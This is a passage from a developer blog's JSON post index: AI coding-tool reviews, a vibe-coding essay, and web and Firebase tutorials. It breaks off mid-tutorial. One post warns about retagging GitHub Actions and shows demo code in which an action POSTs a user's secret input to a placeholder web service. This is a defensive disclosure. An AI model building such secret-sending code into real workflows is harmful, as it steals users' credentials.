
            
        
        
            
        
            
        
        
            
        
            
        
        
            
        
            
        
        
            
        
            
        
        
            
        
            
        
        
            
        
            
        
        
            
        
            
        
        
            
        
            
        
        
            
        
            
        
        
            
        
            
        
        
            
        
            
        
        
            
        
            
        
        
            
        
            
        
        
            
        
            
        
        
            
        
            
        
        
            
        
            
        
        
            
        
            
        
        
            
        
            
        
        
            
        
            
        
        
            
        
            
        
        
            
        
            
        
        
            
        
            
        
        
            
        
            
        
        
            
        
            
        
        
            
        
            
        
        
            
        
            
        
        
            
        
        
            
        
        
            
        
            
        
        
            
        
            
        
        
            
        
            
        
        
            
        
            
        
        
            
        
            
        
        
            
        
            
        
        
            
        
        
        
        
        
        
            
        
        
            
        
            
        
        
            
        
            
        
        
            
        
            
        
        
            
        
            
        
        
            
        
            
        
        
            
        
            
        
        
            
        
            
        
        
            
        
            
        
        
            
        
            
        
        
            
        
            
        
        
            
        
            
        
        
            
        
            
        
        
            
        
            
        
        
            
        
            
        
        
            
        
            
        
        
            
        
            
        
        
            
        
            
        
        
            
        
        
        
        
        
        
        
        
        
        
        
        [{"categories":[{"LinkTitle":"Essays","RelPermalink":"/categories/essays/"}],"content":"There\u0026rsquo;s a lot of misunderstanding around vibe coding. People hear it and think it means abandoning rigor, letting AI generate code blindly, and shipping whatever it produces. That\u0026rsquo;s not what vibe coding is. That\u0026rsquo;s negligence.\nWhat Vibe Coding Actually Is Vibe coding is software development assisted by artificial intelligence. It\u0026rsquo;s the collaborative relationship between a developer and AI: you set the direction, you prompt thoughtfully, and the AI generates code. You then verify, test, and refine.\nThe term \u0026ldquo;vibe\u0026rdquo; comes from the intuitive feel of the workflow. It\u0026rsquo;s not magical thinking. It\u0026rsquo;s deliberate prompting combined with high-velocity feedback loops.\nThe Misunderstanding Some people think vibe coding means: \u0026ldquo;Ask Claude to build my app, don\u0026rsquo;t read the code, ship it.\u0026rdquo;\nThat\u0026rsquo;s not vibe coding. That\u0026rsquo;s abdication.\nReal vibe coding is: \u0026ldquo;I know what I want. I\u0026rsquo;ll prompt Claude clearly. I\u0026rsquo;ll review the output. I\u0026rsquo;ll test it thoroughly. I\u0026rsquo;ll iterate.\u0026rdquo;\nIt\u0026rsquo;s prompting as a craft, not prompting as a shortcut.\nTDD Is More Relevant Now Actually, TDD is way more relevant with AI coding.\nWhen prompting a feature, I prompt tests at the same time. It\u0026rsquo;s mandatory. Tests define boundaries. Tests force the AI to create code that respects constraints.\nIf I say: \u0026ldquo;Build a user service that validates emails and hashes passwords,\u0026rdquo; the AI might make reasonable assumptions. But if I say: \u0026ldquo;Build a user service that validates emails and hashes passwords, and here are the test cases showing exactly what I expect,\u0026rdquo; the AI has guardrails.\nTests aren\u0026rsquo;t verification after the fact. They\u0026rsquo;re a contract. They tell the AI: this is the behavior I\u0026rsquo;m paying for. The AI generates code that passes the tests. Clean boundaries. Predictable behavior.\nSo I don\u0026rsquo;t do TDD in the classical sense: write tests first in isolation, then write code. I do what I call simultaneous TDD: prompt the feature and the test suite together. The tests inform the implementation. The AI respects them because they\u0026rsquo;re part of the prompt.\nThe result: code with clear boundaries. Not code that meanders through possibility space. Code that does exactly what the tests say it should.\nQuality Control Is Non-Negotiable The flip side: vibe coding demands rigorous testing. If you\u0026rsquo;re not running extensive tests, you\u0026rsquo;re not doing vibe coding. You\u0026rsquo;re gambling.\nI run:\nUnit tests for core logic Integration tests for service boundaries E2E tests for user workflows This is where control lives. Not in reading every line the AI wrote. In verification.\nThe Productivity Gain Is Real And here\u0026rsquo;s what makes vibe coding revolutionary for me: the time to production has collapsed.\nSix months ago, a feature took weeks. Now it takes days. Maybe hours.\nThat\u0026rsquo;s not because I\u0026rsquo;m cutting corners. It\u0026rsquo;s because I\u0026rsquo;m eliminating the parsing bottleneck. I don\u0026rsquo;t read and write every line anymore. I think in terms of intent, let AI handle implementation, and verify the output.\nFor a solo founder who cares about shipping, this is everything. The cost of delay in startups is enormous. Every week you don\u0026rsquo;t ship is market share lost, customer feedback delayed, momentum killed.\nVibe coding:done right:gives you back weeks per quarter.\nThe Entrepreneurial Angle I\u0026rsquo;m building products, not writing code. Code is a means to an end.\nIn that context, vibe coding is a superpower. I can translate product ideas into shipped features faster than ever. I\u0026rsquo;m not blocked by implementation details. I\u0026rsquo;m blocked by thinking:by clarity of intent.\nWhen I know what I want to build and I can articulate it well, Claude builds it. When I don\u0026rsquo;t know what I want, that\u0026rsquo;s the real bottleneck. Always has been.\nVibe coding doesn\u0026rsquo;t solve unclear thinking. It makes clear thinking compoundingly valuable.\nWhat I\u0026rsquo;m Not Saying I\u0026rsquo;m not saying you can ignore code quality. You can\u0026rsquo;t.\nI\u0026rsquo;m not saying tests are optional. They\u0026rsquo;re mandatory.\nI\u0026rsquo;m not saying vibe coding works for all projects. Safety-critical systems, medical devices, financial infrastructure: these demand different rigor. Vibe coding is for products. For startups. For rapid iteration in domains where failure is recoverable.\nI\u0026rsquo;m not saying you ship without verification. That\u0026rsquo;s reckless.\nThe Real Secret: Experience Vibe coding works because I have years of architectural experience. I know what good patterns look like. I know what\u0026rsquo;s fragile. I know what scales. I know what breaks.\nWhen I prompt Claude, I\u0026rsquo;m not starting from first principles. I\u0026rsquo;m applying years of judgment. I know what I\u0026rsquo;m asking for. I know the trade-offs. I can spot when Claude suggests something elegant but wrong for the context.\nVibe coding is not for junior developers learning the craft. It\u0026rsquo;s for engineers with real experience who know architecture, who\u0026rsquo;ve seen systems fail, who understand why certain patterns matter.\nThe AI is powerful, but the engineer has to know what questions to ask.\nThe Verdict Vibe coding is the present. It\u0026rsquo;s not chaotic. It\u0026rsquo;s intentional. It\u0026rsquo;s prompting + testing + shipping + iterating.\nAnd for me, it\u0026rsquo;s changed everything about how I approach product development.\nThe coding isn\u0026rsquo;t the constraint anymore. Thinking is. And thinking well requires experience.\n","permalink":"https://julienrenaux.fr/2026/09/01/vibe-coding/","tags":[{"LinkTitle":"Ai","RelPermalink":"/tags/ai/"},{"LinkTitle":"Development","RelPermalink":"/tags/development/"},{"LinkTitle":"Vibe-Coding","RelPermalink":"/tags/vibe-coding/"},{"LinkTitle":"Testing","RelPermalink":"/tags/testing/"}],"title":"Vibe Coding: Where I Stand"},{"categories":[{"LinkTitle":"Reviews","RelPermalink":"/categories/reviews/"}],"content":"Six months ago, I was skeptical about Claude Code. Today, it\u0026rsquo;s my primary development environment. Here\u0026rsquo;s what shifted.\nWhat Is Claude Code? Claude Code is an AI assistant for development work: different from traditional IDE editors like Cursor or Antigravity. Instead of being a code editor itself, Claude Code is a separate tool that reads your codebase, understands context deeply, and makes changes through proper tool use. It\u0026rsquo;s less about conversation in the editor, more about getting work done through agentic reasoning and direct file editing.\nThe Initial Hesitation I\u0026rsquo;d been burned by AI coding tools before. Half-baked completions. Hallucinated APIs. Code that looked good but had subtle bugs. I didn\u0026rsquo;t expect Claude Code to be different.\nI was wrong.\nWhat Changed My Mind Reasoning Depth Claude\u0026rsquo;s o1-style reasoning actually works. When you ask it to fix a bug or refactor something, it thinks through edge cases. It catches things I would miss. That\u0026rsquo;s not marketing: that\u0026rsquo;s real.\nContext Handling The ability to understand your entire codebase - the architecture, the patterns, the constraints - is game-changing. Claude Code reads files, understands intent, and makes decisions that fit your project\u0026rsquo;s style. Not generic boilerplate.\nHands-On Editing Unlike chat-based coding assistants, Claude Code actually edits your files. It uses proper tools, runs your tests, verifies changes work. The feedback loop is tight. Claude Code\u0026rsquo;s harness: the underlying execution environment that handles bash commands, test runners, and direct file operations. That harness is what gives Claude the confidence to make changes: it can immediately verify whether something works or breaks.\nMulti-Tool Reasoning The integration with git, bash, your linter, your test suite: Claude sees all of it. It understands whether a change will break CI, whether it follows conventions, whether it actually solves the problem.\nWhere It Still Struggles Large Rewrites Ask it to refactor a massive file, and it sometimes loses track. Breaking work into smaller steps helps, but it\u0026rsquo;s not automatic.\nAmbiguous Requirements If you\u0026rsquo;re vague about what you want, Claude will build something reasonable but not necessarily what you meant. Clear specs matter.\nToken Costs Like all modern LLMs, token usage adds up. A complex project with many files can get expensive fast. Budget accordingly.\nHow I Actually Use It Daily:\nQuick fixes and bug triaging Test writing and test debugging Code review (asking Claude to spot issues) Refactoring with verification Weekly:\nArchitecture decisions (discussing tradeoffs) Integration work (hooking up new services) Documentation and examples Occasionally:\nBuilding new features from scratch Complex algorithm work The Productivity Shift Honestly? I\u0026rsquo;m shipping faster. Not because Claude writes perfect code:it doesn\u0026rsquo;t:but because the iteration cycle is tighter. I spend less time stuck, more time moving forward.\nFor a solo developer, that compounds.\nThe Verdict Claude Code isn\u0026rsquo;t perfect, but it\u0026rsquo;s the best AI development environment I\u0026rsquo;ve used. It respects your workflow, understands context, and actually improves code quality.\nIf you\u0026rsquo;re a developer who values speed and code quality, it\u0026rsquo;s worth the investment. If you\u0026rsquo;re learning to code, I\u0026rsquo;d still recommend starting with human mentors and pair programming: Claude is a force multiplier, not a teacher.\nRating: 9/10\nThe only thing keeping it from 10 is occasional brittleness on ambiguous tasks. But as a daily tool for professional development, Claude Code is genuinely excellent.\nEpilogue\nThree months in, I\u0026rsquo;m still finding new workflows. The ability to ask Claude to \u0026ldquo;review this diff for security issues\u0026rdquo; or \u0026ldquo;refactor this into smaller functions\u0026rdquo; and have it actually do the work changes how you approach problems.\nIf you build software, give Claude Code a real try. Not a quick demo: actual work, for a month. The productivity gain might surprise you.\n","permalink":"https://julienrenaux.fr/2026/02/01/claude-code-review/","tags":[{"LinkTitle":"Ai","RelPermalink":"/tags/ai/"},{"LinkTitle":"Claude-Code","RelPermalink":"/tags/claude-code/"},{"LinkTitle":"Development","RelPermalink":"/tags/development/"},{"LinkTitle":"Tools","RelPermalink":"/tags/tools/"}],"title":"Claude Code Review"},{"categories":[{"LinkTitle":"Reviews","RelPermalink":"/categories/reviews/"}],"content":"After exploring Google\u0026rsquo;s Antigravity IDE for several months, I\u0026rsquo;ve formed strong opinions about this AI-native code editor. Here\u0026rsquo;s my honest assessment.\nWhat is Antigravity? Antigravity is Google\u0026rsquo;s answer to AI code editors. Like Cursor, it\u0026rsquo;s built on VS Code, giving you the familiar editor foundation. Antigravity differentiates itself by bringing Google\u0026rsquo;s AI expertise directly into the editor: deep integration with Gemini models, built-in reasoning capabilities, and tight coupling with Google Cloud services. The VS Code base means your extensions and settings transfer over.\nWhat Works Well AI Integration Antigravity\u0026rsquo;s Gemini integration feels native, not bolted-on. The AI understands your codebase context and makes suggestions that fit your project\u0026rsquo;s patterns. The reasoning models are particularly useful for complex refactoring decisions.\nPerformance The editor is snappy. No lag, no stuttering. Inference is fast enough that AI assistance doesn\u0026rsquo;t slow you down. That matters when you\u0026rsquo;re in flow.\nGoogle Cloud Integration If you\u0026rsquo;re building on Google Cloud, this is a huge win. Authentication, deployment, debugging: it all connects seamlessly. The developer experience here is thoughtfully designed.\nCode Generation Quality Gemini\u0026rsquo;s code generation is solid. It respects existing patterns, understands TypeScript/Python conventions, and rarely produces code that feels generic.\nWhere It Struggles Ecosystem Lock-In You\u0026rsquo;re tethered to Google Cloud and Gemini models. If you prefer OpenAI or Anthropic, there\u0026rsquo;s no option. That\u0026rsquo;s limiting if you value flexibility.\nDocumentation For early users, docs are sparse. The product is still finding its footing, and you\u0026rsquo;ll hit moments where behavior is unclear or undocumented.\nCost Opacity Pricing isn\u0026rsquo;t as transparent as I\u0026rsquo;d like. Gemini API costs, Google Cloud compute: it compounds. You need to actively monitor your bill.\nLimited Multi-turn Workflow Unlike Cursor\u0026rsquo;s Composer or Claude Code\u0026rsquo;s hands-on editing, Antigravity\u0026rsquo;s AI conversation feels more linear. Back-and-forth refinement works, but it\u0026rsquo;s not as elegant.\nWhen I Reach for Antigravity Google Cloud projects: When I\u0026rsquo;m already in the GCP ecosystem, it\u0026rsquo;s the natural choice Rapid prototyping: Gemini\u0026rsquo;s speed makes it great for quick iterations Learning: Understanding Google\u0026rsquo;s approach to AI-native development The Verdict Antigravity is a solid AI code editor that showcases Google\u0026rsquo;s technical depth. It\u0026rsquo;s not my primary editor, but it\u0026rsquo;s genuinely useful for specific workflows, especially if you\u0026rsquo;re committed to Google Cloud.\nThe trade-off is clear: you gain deep Google integration but lose the flexibility of model choice and multi-vendor support. If that trade-off works for you, Antigravity is excellent. If you value vendor independence, stick with Cursor or Claude Code.\nRating: 7.5/10\nLoses points for ecosystem lock-in and documentation gaps. Otherwise, it\u0026rsquo;s a well-crafted product that shows real thought in its design.\n","permalink":"https://julienrenaux.fr/2025/12/01/antigravity-review/","tags":[{"LinkTitle":"Ai","RelPermalink":"/tags/ai/"},{"LinkTitle":"Code-Editor","RelPermalink":"/tags/code-editor/"},{"LinkTitle":"Google","RelPermalink":"/tags/google/"},{"LinkTitle":"Antigravity","RelPermalink":"/tags/antigravity/"}],"title":"Antigravity IDE Review"},{"categories":[{"LinkTitle":"Reviews","RelPermalink":"/categories/reviews/"}],"content":"OpenClaw arrived at a moment when I was deep in building autonomous agents. Here\u0026rsquo;s my honest take after integrating it into production systems.\nWhat OpenClaw Is OpenClaw is an open-source framework for building AI agents with tool use. It\u0026rsquo;s not a platform: it\u0026rsquo;s a library. You own the code, the data, and the execution.\nWhy That Matters After months of depending on proprietary agent platforms, this felt like a breath of fresh air. No rate limits imposed by a third party. No surprise pricing changes. No black-box logging.\nThe Wins Transparency Every decision the agent makes is visible. You can trace tool calls, inspect reasoning, and understand exactly what happened. This is invaluable for debugging and building trust in agent systems.\nTool Integration Defining custom tools is straightforward. The abstraction is clean: define a function signature and a description, and the agent knows what to do. I\u0026rsquo;ve hooked up database queries, API calls, file operations, and custom business logic without friction.\nLocal-First You can run OpenClaw entirely locally. Useful for development, testing, and for privacy-conscious production deployments.\nModel Agnostic You\u0026rsquo;re not locked into a single LLM provider. Swap in Claude, GPT-4, or an open-source model. That flexibility is rare.\nThe Friction Points You Own the Problems Want reliability monitoring? Build it. Want robust error handling? You\u0026rsquo;re responsible. There\u0026rsquo;s no managed service handling edge cases for you.\nDocumentation Is Sparse As an early-stage open-source project, the docs are thin. You\u0026rsquo;ll be reading source code. If that sounds fun, you\u0026rsquo;re the target user. If not, you might feel friction.\nPerformance Tuning Is On You The framework doesn\u0026rsquo;t optimize for latency or cost. You need to understand token counting, prompt optimization, and model selection yourself.\nWhen I Reach for OpenClaw Custom workflows: When I need agents that do something proprietary, OpenClaw\u0026rsquo;s flexibility shines Learning: If you want to understand how modern AI agents work, reading OpenClaw\u0026rsquo;s code is educational Privacy-sensitive work: When you need to keep everything internal The Verdict OpenClaw is a powerful tool for developers who want control and transparency over their AI agents. It\u0026rsquo;s not a replacement for managed platforms: it\u0026rsquo;s an alternative. You trade ease-of-use for freedom.\nIf you\u0026rsquo;re comfortable owning your infrastructure and debugging your own agent loops, OpenClaw is excellent. If you prefer managed solutions, stick with Claude API or similar services.\nRating: 7.5/10\nGreat library, but it demands more from you than closed platforms. That\u0026rsquo;s intentional. Better documentation would push it to 9.\nEdit 2026: OpenClaw seems to be a dead project now. If you\u0026rsquo;re looking for a solid open-source agent framework, check out Hermes instead.\n","permalink":"https://julienrenaux.fr/2025/11/01/openclaw-review/","tags":[{"LinkTitle":"Ai","RelPermalink":"/tags/ai/"},{"LinkTitle":"Agents","RelPermalink":"/tags/agents/"},{"LinkTitle":"Open-Source","RelPermalink":"/tags/open-source/"},{"LinkTitle":"Openclaw","RelPermalink":"/tags/openclaw/"}],"title":"OpenClaw Review"},{"categories":[{"LinkTitle":"Reviews","RelPermalink":"/categories/reviews/"}],"content":"After months of daily use, Cursor has become my primary code editor. Here\u0026rsquo;s what I\u0026rsquo;ve learned about this AI-first IDE.\nWhat is Cursor? Cursor is built on VS Code—the same foundation as Antigravity. Cursor focuses on multi-turn AI conversations directly in your editor. You chat with Claude or GPT-4, and the AI helps you write, refactor, and debug code through conversation. The VS Code base means familiar shortcuts, extensions, and settings work seamlessly.\nThe Setup The transition from vanilla VS Code to Cursor is smooth. Your extensions, keybindings, and settings port over immediately. That\u0026rsquo;s a massive advantage for adoption.\nWhat Works Well AI-Assisted Coding The Tab autocomplete feature is genuinely useful. It predicts not just single lines but entire code blocks, learning from your project\u0026rsquo;s patterns and style. It\u0026rsquo;s not perfect, but when it\u0026rsquo;s right, it saves real time.\nThe Composer The newest addition: Composer lets you write code with multi-turn conversations. You describe what you want, and Claude (or GPT-4) generates it. Then you iterate. For scaffolding new features or refactoring large chunks, this is transformative.\nContext Awareness Cursor\u0026rsquo;s ability to reason about your entire codebase - understanding imports, function signatures, and architectural patterns - means suggestions are actually relevant.\nWhere It Falls Short Occasional Noise Sometimes autocomplete triggers when you don\u0026rsquo;t want it. Disabling it in certain filetypes helps, but the UX could be smoother.\nToken Costs Add Up If you use Claude with Cursor, the token usage is real. Costs accumulate quickly on large projects. Plan your budget.\nLatency On slower connections or with large codebases, the AI features can lag. Not a dealbreaker, but noticeable.\nThe Verdict Cursor is the most mature AI code editor available today. If you write code for a living and want to stay on the frontier of developer tooling, it\u0026rsquo;s worth $20/month. The Composer feature alone justifies it for me.\nRating: 8.5/10\nThe gap to 10 is token costs and occasional brittleness. But as an IDE + AI assistant hybrid, it\u0026rsquo;s ahead of the curve.\n","permalink":"https://julienrenaux.fr/2025/06/01/cursor-review/","tags":[{"LinkTitle":"Ai","RelPermalink":"/tags/ai/"},{"LinkTitle":"Tools","RelPermalink":"/tags/tools/"},{"LinkTitle":"Cursor","RelPermalink":"/tags/cursor/"},{"LinkTitle":"Code-Editor","RelPermalink":"/tags/code-editor/"}],"title":"Cursor IDE Review"},{"categories":[{"LinkTitle":"Web","RelPermalink":"/categories/web/"}],"content":" This post is the first post of a series of posts about how I created isitblackfridayyet.app. Full story here First thing that we want to do before even considering enabling the dark mode on our web pages is to know whether it is widely or not.\nBrowser support When I am writing this post (January 2020), all major browsers (Chrome, Firefox, Safari) but Edge (v76 will be out mid January 2020) support the dark mode, which is around 76.7% of users according to caniuse.com How to enable the dark mode on your machine ? You could do that at the OS level or at the browser level. Everything is explained here.\nHow to detect the dark mode ? TL;DR: With prefers-color-scheme prefers-color-scheme is a CSS media query that allow you to detect if the user has set their system to use a light or dark color theme.\nIt is really simple to use:\n// Fallback for legacy browsers body { background-color: white; color: black; } // Used when using the dark theme @media (prefers-color-scheme: dark) { body { background-color: black; color: white; } } // Used when using the light theme @media (prefers-color-scheme: light) { body { background-color: white; color: black; } } Use CSS variables for better maintainability Insted of hardcoding the colors (black and white here) we can use CSS variables for better maintainability. All major browsers already support it and 93% of the users are covered according to caniuse.co Declare a variable // Use :root pseudo-class to apply anywhere :root { --my-variable-color: #CCC; } Use a variable // Will use --my-variable-color value if declared, otherwise #333 p { color: var(--my-variable-color, #333); } If we apply that to our previous example we get the following:\n:root { --light-bg-color: black; --light-color: white; --dark-bg-color: white; --dark-color: black; } // Fallback for legacy browsers body { background-color: black; background-color: var(--light-bg-color); color: white; color: var(--light-color); } // Used when using the dark theme @media (prefers-color-scheme: dark) { body { background-color: var(--dark-bg-color); color: var(--dark-color); } } // Used when using the light theme @media (prefers-color-scheme: light) { body { background-color: var(--light-bg-color); color: var(--light-color); } } Apply to isitblackfridayyet.app I applied the dark mode on isitblackfridayyet.app using this commit: 14b3385063c8e234cf189a120e911018bdacb061 and here is the result on Chrome, Firefox, Opera and Safari:\nThanks for reading.\n","permalink":"https://julienrenaux.fr/2020/01/09/enable-dark-mode-web-html-css/","tags":[{"LinkTitle":"Stenciljs","RelPermalink":"/tags/stenciljs/"},{"LinkTitle":"Javascript","RelPermalink":"/tags/javascript/"},{"LinkTitle":"Dark-Mode","RelPermalink":"/tags/dark-mode/"},{"LinkTitle":"Web-Component","RelPermalink":"/tags/web-component/"}],"title":"Case study: isitblackfridayyet.app: #4 Enabling Dark mode"},{"categories":[{"LinkTitle":"Devops","RelPermalink":"/categories/devops/"}],"content":" TL;DR: Using GitHub actions with branch names or tags is unsafe. Use commit hash instead. It all started with a tweet that I made mid december:\nAm I the only one scared about sharing my access tokens to random @github actions found on the marketplace ?\nWhat if one day those random-action@master stored my tokens ?\nWouldn\u0026#39;t it be as easy as taking control as maintainer of an old action that everybody uses ?\n\u0026mdash; Julien Renaux (@julienrenaux) December 12, 2019 I had a hunch that using Github actions found at the marketplace could leak sensitive data such as access tokens.\nThe problem A lot of trending actions found at the marketplace are using secrets to perform their tasks.\nFor instance to build and publish docker images to a registry you could use elgohr/Publish-Docker-Github-Action action. It is the most popular action to perform this task and it is not made nor maintained by GitHub.\nIf you read its docs you can see that it requires the username and password of your docker registry.\n- name: Publish to Registry uses: elgohr/Publish-Docker-Github-Action@master with: name: myDocker/repository username: ${{ secrets.DOCKER_USERNAME }} password: ${{ secrets.DOCKER_PASSWORD }} How many of us will go to that action code and read the code to see if something malicious happens there ? I guess no one. We are forced to trust the author, so be it.\nImagine that this action in a couple of years is used by thousands workflows accross GitHub.\nWhat would happen if the author that we trust, decides to let someone else support this code (we see that often in the Open Source industry) ?\nAny maintainer can update a branch or a tag That\u0026rsquo;s the problem right there!\nTo demontrate the problem I created an action: shprink/nonharmful-and-must-have-actions . This action looks legit and the name seems trustworthy.\nTo use it you\u0026rsquo;ll need to pass a secret:\n- uses: shprink/nonharmful-and-must-have-actions@v1 with: my-secret: ${{ secrets.YOUR_SECRET }} the code (see below) does not really do anything, it gets the secret and do something legit with (publish a docker images, an npm package etc.)\ntry { const mySecret = core.getInput(\u0026#34;my-secret\u0026#34;); console.log(`DO SOMETHING REALLY COOL WITH THE SECRET FOR YEARS`); } catch (error) { core.setFailed(error.message); } This action is tagged v1. Unfortunetly a tag can be replaced with Git.\nTo do so you will first need to delete it locally and remotly with those commands:\n$ git tag -d v1 $ git push --delete origin v1 Now we can add malicious code such as sending the secret to a web service:\ntry { const mySecret = core.getInput(\u0026#34;my-secret\u0026#34;); console.log(`ATTEMPTING TO STORE THE SECRET VIA AN HTTP CALL`); request.post( \u0026#34;https://jsonplaceholder.typicode.com/posts\u0026#34;, { json: { title: \u0026#34;store my stolen secret somewhere\u0026#34;, body: mySecret, userId: 1 }, headers: { \u0026#34;Content-type\u0026#34;: \u0026#34;application/json; charset=UTF-8\u0026#34; } }, (error, res, body) =\u0026gt; { if (error) { console.error(error); return; } console.log(`SUCCESSFULLY STORE SOMEONE SECRET`, res.statusCode, body); } ); } catch (error) { core.setFailed(error.message); } when users of your action will re-run their workflow they will now use the \u0026ldquo;new\u0026rdquo; v1 and therefore leak their precious secrets.\nSolution: Use commit hash as version As @AlainHelaili from GitHub mentioned on twitter, instead of checking out a branch or a tag (both are not safe), you could checkout the commit hash:\nEach hash is supposed to be unique and you cannot rewrite history with the exact same SHA-1.\nThat\u0026rsquo;s a good solution but I don\u0026rsquo;t see that encouraged in any documentation out there (many I am wrong). All the docs I see use either branches or tags\u0026hellip;\nLearn from history Some time ago NPM had the exact same problem with left-pad package that was unpublished and broke the internet 😅.\nShort after that they decided to change their Unpublish Policy .\nBasically after 24 hours you cannot unpublish a version anymore, and there is no way to replace a tag that was used before.\nI think GitHub should follow the same path and prevent anyone from unpublishing and replacing any version tagged.\n","permalink":"https://julienrenaux.fr/2019/12/20/github-actions-security-risk/","tags":[{"LinkTitle":"Github-Actions","RelPermalink":"/tags/github-actions/"}],"title":"Use GitHub actions at your own risk"},{"categories":[{"LinkTitle":"Web","RelPermalink":"/categories/web/"}],"content":" This post is the last post of a series of posts about how I created isitblackfridayyet.app. Full story here As I explained earlier, isitblackfridayyet.app product needed a way to tweet once a day if it is black friday or not as an image (that makes it more challenging than just text.). @isitblackfriday was created.\nSetup Firebase Create the project on the [Firebase console](https://console.firebase.google.com/) page On the project is set up, install Firebase CLI on your machine:\n$ npm install -g firebase-tools Sign in to Google to have access to your Firebase account.\n$ firebase login Initiate your Firebase project locally and select Functions.\n$ firebase init ? Which Firebase CLI features do you want to set up for this folder? ◯ Database: Deploy Firebase Realtime Database Rules ◯ Firestore: Deploy rules and create indexes for Firestore ❯◉ Functions: Configure and deploy Cloud Functions ◯ Hosting: Configure and deploy Firebase Hosting sites ◯ Storage: Deploy Cloud Storage security rules Selecte whether you want to use JavaScript or TypeScript to write functions (please select TypeScript), then folow the rest of the wizard.\n? What language would you like to use to write Cloud Functions? JavaScript ❯ TypeScript once the installation is over, you will get the following functions folder:\nRun the hello world function locally uncomment the following from functions/src/index.ts\nexport const helloWorld = functions.https.onRequest((request, response) =\u0026gt; { response.send(\u0026#34;Hello from Firebase!\u0026#34;); }); run npm run serve, you should have the hello world functions available on http://localhost:5000/\u0026lt;Firebase-project-id\u0026gt;/us-central1/helloWorld\nDeploy the hello world function on the cloud $ npm run deploy now your function runs on Firebase servers on https://us-central1-\u0026lt;Firebase-project-id\u0026gt;.cloudfunctions.net/helloWorld!\nLet\u0026rsquo;s create something fancier now shall we?\nCreate an image from a Web page Puppeteer is a Node library which provides a high-level API to control Chrome or Chromium.\nWe are going to use it to create an image (png or jpg) from an online page.\nInstall Puppeteer npm i puppeteer @types/puppeteer Create a function to take a screenshot We want that function to open https://isitblackfridayyet.app , take a screenshot of the page, save it and return the image path.\nHere is the code with comments:\nimport * as puppeteer from \u0026#34;puppeteer\u0026#34;; import * as os from \u0026#34;os\u0026#34;; import * as fs from \u0026#34;fs\u0026#34;; import * as path from \u0026#34;path\u0026#34;; async function takeScreenshot(): Promise\u0026lt;string\u0026gt; { // #1 create a browser instance const browser = await puppeteer.launch({ headless: true, args: [\u0026#34;--no-sandbox\u0026#34;, \u0026#34;--disable-setuid-sandbox\u0026#34;] }); // #2 create a browser page with the required viewport const page = await browser.newPage(); await page.setViewport({ width: 512, height: 512 }); await page.goto(\u0026#34;https://isitblackfridayyet.app/\u0026#34;, { // consider navigation to be finished when there are // no more than 0 network connections for at least 500 ms. waitUntil: \u0026#34;networkidle0\u0026#34; }); // #3 create a new file path const localFile = path.join(os.tmpdir(), `${Date.now()}.png`); // #4 generate the screenshot using this path await page.screenshot({ type: \u0026#34;png\u0026#34;, path: localFile }); return localFile; } Create a function to download the image we can reuse the helloWorld function to download the isitblackfridayyet.app screenshot.\nexport const helloWorld = functions .runWith({ memory: \u0026#39;1GB\u0026#39;, timeoutSeconds: 60 }) .https.onRequest(async (request, response) =\u0026gt; { try { // #1 call takeScreenshot function const localFile = await takeScreenshot(); // #2 download the image return response.download(localFile, () =\u0026gt; { // #3 once the image is downloaded we can erase it. fs.unlinkSync(localFile); }); } catch (error) { return response.json({ error }); } } ); now re-run the functions locally and open http://localhost:5000/\u0026lt;Firebase-project-id\u0026gt;/us-central1/helloWorld function. You should be able to download the image.\nThe real functions for isitblackfridayyet.app are open sourced here Trigger functions via a CRON job We can now create images from any webpage but we still need to trigger the function manually! To fix that problem on a unix system, we would use a Cron job . But how to use a Cron job on Firebase functions ?\nFirebase supports scheduling function calls via the Cloud Scheduler and pubsub.\nThe following two functions will run every 2 minutes. As you can see you can use the crontab way */2 * * * * or jsut plain english.\nexport const scheduledFunction = functions.pubsub .schedule(\u0026#34;*/2 * * * *\u0026#34;) .onRun(context =\u0026gt; { console.log(\u0026#34;This will be run every 2 minutes!\u0026#34;); }); export const scheduledFunctionPlainEnglish = functions.pubsub .schedule(\u0026#34;every 2 minutes\u0026#34;) .onRun(context =\u0026gt; { console.log(\u0026#34;This will be run every 2 minutes!\u0026#34;); }); When you will try to deploy that you will get the following error message: Error: HTTP Error: 400, Billing must be enabled for activation of service '[cloudscheduler.googleapis.com]' in project 'XXXXXXXX' to proceed.\nYour project must be on the Blaze payment plan, as Cloud Scheduler and Pub/Sub require billing information. Each Cloud Scheduler job costs $0.10 (USD) per month.\nTo enable Blaze payment plan open the Firebase console of your project and go check the bottom left corner of the page:\nClick upgrade and select Pay as you go on next screen:\nRe-deploy your code and open GCP Cloud Scheduler page to see the two jobs:\nNow go to the Firebase functions logs page to see that the functions are already running!\nWe now have everything that we need to schedule image creation on Firebase functions. To know exactly how @isitblackfriday does it, the code is open sourced here !\n","permalink":"https://julienrenaux.fr/2019/11/25/creating-cron-images-export-firebase-functions-puppeteer/","tags":[{"LinkTitle":"Firebase","RelPermalink":"/tags/firebase/"},{"LinkTitle":"Puppeteer","RelPermalink":"/tags/puppeteer/"}],"title":"Case study: isitblackfridayyet.app: #3 Creating Cron based images with Firebase functions and Puppeteer"},{"categories":[{"LinkTitle":"Web","RelPermalink":"/categories/web/"}],"content":" This post is the second post of a series of posts about how I created isitblackfridayyet.app. Full story here Setup Firebase https://firebase.google.com/ Create the project on the [Firebase console](https://console.firebase.google.com/) page On the project is set up, install Firebase CLI on your machine:\n$ npm install -g firebase-tools Sign in to Google to have access to your Firebase account.\n$ firebase login Initiate your Firebase project locally and select Hosting, then folow the rest of the wizard and select www/ folder to be the public directory.\n$ firebase init ? Which Firebase CLI features do you want to set up for this folder? ◯ Database: Deploy Firebase Realtime Database Rules ◯ Firestore: Deploy rules and create indexes for Firestore ◯ Functions: Configure and deploy Cloud Functions ❯◉ Hosting: Configure and deploy Firebase Hosting sites ◯ Storage: Deploy Cloud Storage security rules Now using the following command will deploy whatever files are inside www/ folder.\n$ firebase deploy --only hosting We are ready to automate this into Github Actions!\nGithub Actions Fast CI/CD for any OS, any language, and any cloud\nGitHub Actions makes it easier to automate how you build, test, and deploy your projects on any platform, including Linux, macOS, and Windows.\nRun your workflows (also called pipelines in other CI platforms) in a container or in a virtual machine.\nCreate a new workflow To create a new workflow, open your github repository to the \u0026ldquo;Actions\u0026rdquo; tab.\non this screen you will get a lot of already setup workflows that you could start from. For the purpose of this blog post, we will set up our own workflow (click on the \u0026ldquo;Set up a workflow yourself\u0026rdquo; button).\nSelect a new workflow name and erase the content of the default action\nWhat we want here is to trigger this action when code is merged into master branch. If you follow the develop/master branching model , merging into master usually mean that the code is stable and ready to go to production.\nname: CI on: push: branches: - master Now we want to build our 